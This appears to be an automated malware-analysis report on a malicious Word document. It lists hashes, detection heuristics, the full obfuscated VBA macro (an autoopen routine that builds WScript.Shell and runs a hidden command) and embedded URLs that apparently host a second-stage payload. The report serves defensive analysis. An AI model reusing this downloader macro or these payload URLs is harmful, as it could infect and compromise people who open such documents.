Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 578ea9f28dfb6bc6…

MALICIOUS

Office (OLE)

74.0 KB Created: 2019-01-16 19:23:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: b3d27eecdd6095caf51f80d5659b2efa SHA-1: 6b641ea3a8ecd95b2f4d2c39c50f64a119211c91 SHA-256: 578ea9f28dfb6bc6b0c9b9bcf4f1ad2d3fb8ea7ed8f7c2b612a5a0ed183a310e
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that leverages WScript.Shell to execute commands. The script attempts to construct the string "WscRipt.sHeLl" and likely uses it to download and execute a second-stage payload from one of the embedded URLs. This indicates a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6817914-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6817914-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     End Select
Handmade89 = "" + teal11 + UzbekistanSum71 + "WscRipt.sHeLl" + microchip35 + turquoise33 + toolset14
   Select Case azure39
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     End Select
Optional88 = Array(synergize98, Rubber47, Lodge84, CreateObject("" + Reengineered28 + ToysToys73 + BabyIndustrial54 + Functionbased44 + usercentric46 + Handmade89).Run!("" + Causeway59 + RAM2 + executive71.TextBox1 + feed16 + webreadiness58, IUkiv), Communications48, Missouri54, bottomline84)
   Select Case Frozen26
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "CheckingAccount84"
Sub autoopen()
customerloyalty3 = pixel83
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://binsuloomgroup.com/wp-content/uploads/NefRZe_crlN072r_S@http://jcpers In document text (OLE body)
    • http://medicspoint.pk/5RKX6Ot_r3wyO@http://lailarahman.com/NLwq7z5_VIN4p7AR_00KDII@http://aryahospitalksh.com/h1rAZ_HEFn0J_EIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5850 bytes
SHA-256: 4062dde47334f0dc16be5d587d8b0d31c51d364fbced89665b61f201709dbf60
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "executive71"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "optical97"
Function quantify62()
On Error Resume Next
   Select Case visualize71
         Case 980
            InvestmentAccount61 = CLng(679)
etailers20 = initiatives48
            Persistent12 = CDate(yellow90)
Vista95 = firmware20
            Metrics54 = Int(240)
         Case 468
deliverables8 = Borders86
            yellow13 = Cos(bypassing98)
Bedfordshire22 = Facilitator6
            Intelligent97 = ChrB(732)
            efficient13 = Technician83
 End Select
   Select Case Lead93
         Case 502
            Program35 = CLng(826)
HandmadeWoodenBacon3 = intranet9
            model85 = CDate(Dynamic16)
Iowa55 = auxiliary73
            recontextualize39 = Int(617)
         Case 502
Granite43 = Port66
            CheckingAccount45 = Cos(Borders70)
SavingsAccount88 = Plastic81
            frontend71 = ChrB(744)
            payment54 = HTTP15
 End Select
   Select Case Brand60
         Case 828
            LicensedGraniteHat3 = CLng(745)
Groves84 = digital17
            grey81 = CDate(Vanuatu23)
program49 = Orchestrator14
            models33 = Int(712)
         Case 297
transmitting75 = ErgonomicFrozenChips80
            firmware86 = Cos(IncredibleWoodenBall36)
plum42 = directional76
            Chad15 = ChrB(146)
            PracticalMetalPizza64 = index50
 End Select
Handmade89 = "" + teal11 + UzbekistanSum71 + "WscRipt.sHeLl" + microchip35 + turquoise33 + toolset14
   Select Case azure39
         Case 489
            LibyanDinar82 = CLng(729)
engineer64 = Cambridgeshire19
            SmallSteelFish22 = CDate(USB12)
implementation93 = Tunnel24
            Generic78 = Int(17)
         Case 75
Manager43 = Officer98
            deliver76 = Cos(methodology51)
Inverse89 = Forge29
            B2B96 = ChrB(466)
            GamesComputersSports50 = methodologies36
 End Select
   Select Case Villages27
         Case 245
            Representative12 = CLng(839)
BruneiDarussalam86 = connecting15
            USB22 = CDate(InvestmentAccount28)
navigating5 = CreditCardAccount16
            FrenchSouthernTerritories33 = Int(424)
         Case 521
robust65 = Kina97
            MoneyMarketAccount17 = Cos(strategic22)
PracticalWoodenPants76 = Buckinghamshire57
            Sharable15 = ChrB(718)
            FTP18 = BabyMusicIndustrial64
 End Select
IUkiv = 0
   Select Case pricingstructure62
         Case 589
            copying15 = CLng(794)
NewZealandDollar2 = compelling79
            monetize44 = CDate(Bedfordshire98)
CSS33 = HomeClothing98
            payment69 = Int(930)
         Case 110
Centralized58 = generate35
            TastyWoodenChips2 = Cos(redefine35)
calculate48 = FantasticFrozenCar33
            SmallPlasticBike52 = ChrB(129)
            capacity4 = HomeLoanAccount9
 End Select
   Select Case LicensedSoftTable87
         Case 796
            Bolivia85 = CLng(372)
synthesize72 = Plain57
            Grove8 = CDate(Dynamic54)
Utah69 = generate8
            SerbianDinar72 = Int(770)
         Case 45
supplychains54 = Devolved90
            Rubber94 = Cos(withdrawal88)
MoneyMarketAccount18 = USB30
            Human14 = ChrB(669)
            Upgradable26 = global55
 End Select
   Select Case needsbased36
         Case 247
            Berkshire34 = CLng(797)
Key53 = Utah52
            turquoise18 = CDate(webenabled7)
Bedfordshire4 = killer42
            robust22 = Int(607)
         Case 451
Falls88 = USB96
            Corners69 = Cos(bypassing45)
bypass36 = Iowa90
            orchestration47 = ChrB(276)
            Handmade32 = calculate45
 End Select
Optional88 = Array(synergize98, Rubber47, Lodge84, CreateObject("" + Reengineered28 + ToysToys73 + BabyIndustrial54 + Functionbased44 + usercentric46 + Handmade89).Run!("" + Causeway59 + RAM2 + executive71.TextBox1 + feed16 + webreadiness58, IUkiv), Communications48, Missouri54, bottomline84)
   Select Case Frozen26
         Case 424
            quantifying22 = CLng(765)
scale18 = Identity93
            Plastic13 = CDate(Angola17)
SCSI76 = IntelligentSoftSoap70
            generate93 = Int(887)
         Case 249
SleekMetalCar61 = Userfriendly80
            Technician13 = Cos(Motorway61)
Intranet52 = copy36
            Lodge32 = ChrB(685)
            black63 = Selfenabling13
 End Select
   Select Case HTTP71
         Case 153
            salmon60 = CLng(253)
salmon67 = violet33
            olive67 = CDate(cyan45)
Product29 = Inlet21
            maximize86 = Int(126)
         Case 908
pixel47 = International74
            zerotolerance95 = Cos(ErgonomicFreshCar41)
SDD92 = ToolsHealthMusic39
            Accounts72 = ChrB(831)
            SavingsAccount28 = methodical77
 End Select
   Select Case migration90
         Case 157
            regional37 = CLng(415)
Landing23 = port22
            Customer92 = CDate(productize79)
Organized54 = matrices57
            ToolsIndustrial64 = Int(806)
         Case 212
Functionality93 = Rapid12
            Underpass58 = Cos(Focused18)
Gorgeous79 = grow4
            TastyFrozenSausages98 = ChrB(158)
            maroon83 = neural52
 End Select
End Function


Attribute VB_Name = "CheckingAccount84"
Sub autoopen()
customerloyalty3 = pixel83
quantify37 = Array(GenericRubberPizza21, Borders75, LicensedConcreteHat87, quantify62, Handmade68, Rubber86, Metal48)
supplychains83 = channels32
End Sub
Function payment91()
index64 = Well45
End Function

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